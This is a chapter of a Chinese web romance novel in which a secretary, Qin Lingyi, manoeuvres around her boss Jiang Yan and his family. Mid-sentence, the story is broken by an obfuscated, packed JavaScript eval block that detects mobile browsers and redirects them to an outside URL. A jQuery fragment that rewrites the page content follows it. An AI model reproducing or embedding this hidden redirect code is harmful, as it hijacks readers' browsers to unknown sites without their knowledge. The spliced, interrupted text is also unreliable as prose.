“周宁,这次我们小组真是多亏有你!”
“可以啊周宁,我们之前真是小看你了!”
秦令仪听着另一边的喧闹,拿着文件停下了脚步,她侧眸,看向正被四五个人围在中央夸赞的周宁。
周宁红着脸,羞涩地把文件抱在胸前,“没有没有,都是大家一起努力的成果。”
“你看你还害羞了,这个设计方案呀,你的功劳最大!”
“对啊,我们的方案可是被蒋总亲口夸了!”
秦令仪一顿,虽然说梦里并没有说过蒋砚对周宁有什么隐藏的情绪,但她这段时间改变了太多事情的走向,难免会有什么变化……
她垂眸思索了片刻后,悠然扬起笑,转变脚尖走向热闹的那一处。
“小宁。”
女人温润优雅的声音响起,引得整个设计三组纷纷抬头看过去。
角落的员工惊呼,又压低声音朝旁边的人道,“她是不是就是新来的秦秘书,和蒋总传绯闻那个?”
“……好像是。”
周宁看到人眼睛一亮,立马跑过去,“令仪姐!”
秦令仪轻笑着抬手搭上周宁的肩膀,“最近怎么样?”
“挺好的,同事们也很好”周宁抿唇笑着,又回头看了眼八卦的众人。
秦令仪也顺着看过去,颔首微笑,后面的几个人见此也纷纷友善地打着招呼,片刻后她收回视线,看着周宁道,“你的方案真的很棒,恭喜你。”
“你也看啦!”
秦令仪点头笑笑,“蒋砚给我看的。”
周宁闻言眼中也控制不住的浮现一丝好奇,她轻咬着唇,似是在纠结要不要问。
秦令仪挑眉,靠在身后的椅背上,“想问什么?”
“没什么啦,就是令仪姐,你和蒋总…?”
“我喜欢他。”
周宁一惊,连忙四处看看,见其他人没什么反应这才放下心来。
秦令仪失笑,“你这是干什么?”
她摇摇头,眼神钦佩,“令仪姐,你好勇敢!”
“你放心,这件事我不会告诉别人的!”
秦令仪笑,眼眸温柔地替她理了理头发,“谢谢你,我还有事,就不聊了。”
周宁瞥见眼前人手里的文件,连忙退后让出空间,“好,下次见!”
秦令仪点头,踩着裸色高跟鞋离开。
转身的瞬间,她面上的柔色也变成了尽在掌握的淡然。
她必须确保,这位上帝的宠儿,不会对蒋砚有任何想法。
不然以周宁的幸运程度,哪怕她再会耍手段大概也没什么用。
毕竟,周宁可是女主。
“叶总助。”
秦令仪的看向站自己工位旁边的叶南,开口“找我有事吗?”
叶南看见她顿时后退,神色不自然地点头,“蒋总叫你。”
她瞥向位子上被外套盖住的盒子,笑容不变地应了声。
秦令仪转身走向总裁办,叶南再次俯身小心翼翼地把礼物藏好,动作间,隐隐带着几分温柔。
“蒋砚。”
秦令仪站在门口,看着领口微开工作的男人,轻轻叫了一声。
男人敲击键盘的动作一顿,转头时发丝都印着金色的光晕,深邃的双眼因为长久的工作此刻也带着冰冷的陌生感。
她弯眸,温声问,“找我吗?”
“嗯。”
蒋砚摘掉眼镜,闭眼揉了揉太阳穴,“坐。”
秦令仪走过去,垂眸间,瞥见了桌子旁扣住的相片。
如果她的记忆没出错,那应该是他和蒋翼还有蒋知燕的合照。
心中冒出几分猜想,她缓缓坐下。
蒋砚解开手机,推了过去,“看看这个。”
是一个聊天界面。
秦令仪垂眸,看清了顶端的备注。
蒋董事长。
往下,是公事公办的每周问候和会议提醒,除外没有任何交流。
蒋砚和蒋知燕的关系,还真是出乎她意料的差。
秦令仪视线下滑,落到最新的那条消息上。
【周六你三叔他们要过来,一起来吃顿饭。】
她抬头,神色了然,“你要我替你去?”
蒋砚看她一眼,改正,“你和我去。”
他时常觉得秦令仪是无可救药的心思缜密,她总是能洞察到别人当时最真实的情绪,但有些时候,他又觉得她糊涂得可以。
闻言秦令仪真真实实地顿了一下。
这算什么?
“我很忙,没空和他们交流,最好,尽早离席。”
蒋砚平静地说着,又问,“你明白吗?”
秦令仪点头,“明白了,我会尽量不让任何人打扰你。”
前者满意地颔首,“没事了,你可以出去了。”
秦令仪看了眼身前男人的手机,起身间,假装不经意地把屏幕右划了一下。
信息界面,置顶的是一个男性头像,没有备注,向下依次是叶南、蒋知燕、荆迟,再然后就是她,秦秘书。
秦令仪指尖微捻,抬头轻笑,“怎么备注我叫秦秘书,我们不算是朋友吗?”
蒋砚一顿,“顺手。”
“我帮你改吧。”
秦令仪放慢动作拿起手机,见男人沉默着没出声,嘴角轻翘,快速地在备注栏里输了名字。
“既然是朋友,以后就不要那么生疏了,叫我令仪吧,小砚。”
蒋砚微愣,他看向弯着眸离开的人,迟迟没能有什么反应。
许久过后,空旷的办公室里响起一声极轻的笑,随之而来是不断敲击键盘的声音。
秦令仪回工位上,拿出手机把蒋砚的备注也改了。
小砚。
她看着这两个字嘴角微微上扬,身体刚要往后靠,腰就被硌了一下。
差点忘了这个了。
秦令仪漫不经心地看向不远处的总助办公处,叶南不在。
她拿起礼物,随手拆开。
是一条手链。
Y家的经典款,大概3万块的样子。
秦令仪提起手链,看着钻石在灯光下闪烁的微弱光辉,嗤笑丢了回去。
如果她是草根出身的贫民女孩,可能会因为这条3万块的手链而有所触动,但很可惜,她是私生女,秦家的私生女。
她注定,不会把目光投向任何一个圈外的男人身上。
只不过,自己撞上来的狗,利用一下也不是不可以。
秦令仪在平板上点开蒋砚下个月的行程表,目光落在那直白的两个字上。
日本。
-
周六赴约那天,是一个阴雨天。
秦令仪无视掉气炸的秦正,举起伞走入了雨中。
这一周里丁辉着实给了她一个很大的惊喜。
就像她要求的那样,秦氏受到了重创,一周之内损失了几十个亿,但丁氏也没好到哪儿去。
丁辉这一步,是自损八百伤敌一千的招数。
硬是以自己为诱饵把秦正骗入了局。
秦令仪看着新闻,嘴角轻翘。
最好是全都破产了才好呢。
蒋砚下楼时已经是下午三点了。
秦令仪降下车窗,眨着那双星眸,拍了拍副驾驶,“上车。”
她开了一辆跑车。
除了副驾驶,蒋砚也别无选择。
他调整着腕表,打开车门坐进去。
其实就算秦令仪不开跑车他也会坐前面,这是对于朋友,基本的尊重。
今天蒋家异常的热闹,蒋知燕那一脉兄弟们的儿孙基本都来了,其中最受尊敬的,是蒋知燕大哥的儿子,大家都叫他三叔。
那是一个看起来敦厚的中年男人。
但就是这个男人,是名副其实的蒋氏二股东。
除了蒋知燕就属他在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862088|176082||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蒋氏最有话语权,蒋砚都要靠后。
秦令仪静静跟在蒋砚身后,看着他应付一个又一个亲戚,偶然间,竟然罕见地看到了他脸上闪过几分烦躁和厌恶。
看来不但是和蒋知燕关系不好,他是和除了蒋翼之外的整个蒋家关系都不好。
“小砚来了。”
蒋御笑呵呵地搀着蒋知燕,“姑姑说你今晚会来,我还不信来着,看来我们小砚真是长大了。”
“三叔都能来,我当然也会来”,蒋砚神色冷淡,语气平平。
平常又怪异地寒暄。
秦令仪看向蒋知燕,后者淡笑看着不远处某个玩耍的曾孙,好似对眼前侄孙之间的氛围全然不知。
一点也不像那个,在她面前一口一个一小砚的和蔼长辈。
秦令仪将一切收入眼底,她思索片刻后重新挂上笑,上前挤走了蒋御。
“董事长,您最近怎么样?”
蒋知燕不着痕迹地皱眉,刚要把手抽出来就听秦令仪又道,“蒋总今天非要带我一起过来,您不介意吧?”
蒋知燕目光一凝,唰的一下看向身侧满面羞涩的私生女。
秦令仪朝蒋知燕眨了眨眼,用口型道。
多亏有董事长。
蒋知燕又不可置信地看向孙子,后者看着秦令仪,一声不吭。
这副样子,跟当初的蒋翼有什么区别?
她心中怒意泛起,没忍住甩开了手臂。
“啊!”
秦令仪没有任何防备地被甩开,差点直直摔倒在地上,幸好蒋砚及时上前,扶住了人。
秦令仪抓住蒋砚的衣领,悄悄冲他眨了一下眼睛。
蒋砚一默,最终把人横抱起来,淡漠地看向台阶上雍容华贵的奶奶。
她看着他们,眸子里满是怒意,那一瞬,蒋砚觉得奶奶要杀了秦令仪。
通过此时此刻的场景,蒋砚好像看到了两年前的蒋翼。
那时候,他是不是也站在这个位置,承受着内心的煎熬?
是要从小培育他的奶奶,还是要心爱的女人?
或许那时候蒋翼很纠结,但此刻的蒋砚,心里没有生出第二个念头。
他无视掉奶奶,转身离开蒋家。
虽然怀里并不是什么心爱的女人,但身后的那个人,也并没有培育过他。
夕阳西下,蒋砚一路抱着人走到车旁才放下。
他斜眼,“这就是你想的办法?”
秦令仪颔首微笑,“很高效吧?”
离席离得不能再早了。
“嗯。”
蒋砚点头,“你被辞退得也会很高效。”
“啊”,秦令仪看向蒋砚,唇瓣分离,红唇微张,面上透着一丝可怜,她微微垂眸,“蒋砚,你要救我。”
“我帮了你那么多次。”
男人看向她,靠住车身,开口,“你帮我?”
秦令仪点头,开始细数,“我帮你挡酒瓶,帮你拿表,还陪你过来参加聚会。”
蒋砚听着,忍不住想反驳,但回想那些他“回报”的事情,陡然发觉没有一件事说得出口的。
替她挡了酒,没计较她的吻,为她停了合作。
这些并不对等的条件说出来,像是他们之间有很深的情感纠葛。
蒋砚顿了又顿,发现自己无话可说。
他和秦令仪,不知道从什么时候起已经无从理清了。
手臂传来细微的拉扯,蒋砚抬眼看向始作俑者,秦令仪黝黑的眼眸中倒映着他此刻有些无奈的样子。
她嫣然一笑,温声,“蒋砚哥,救我吧。”
轻柔的声音在瞬息间爬上蒋砚的心尖,带来阵阵的酸麻,好似栀子花破土而出,顷刻疯长抵到他的喉间。
时隔几个月,再听秦令仪这么称呼他,却怎么也找不回当初淡然以对的感觉。
蒋砚侧身,移开眼,滚动的喉结昭示着他此刻并不平静的内心。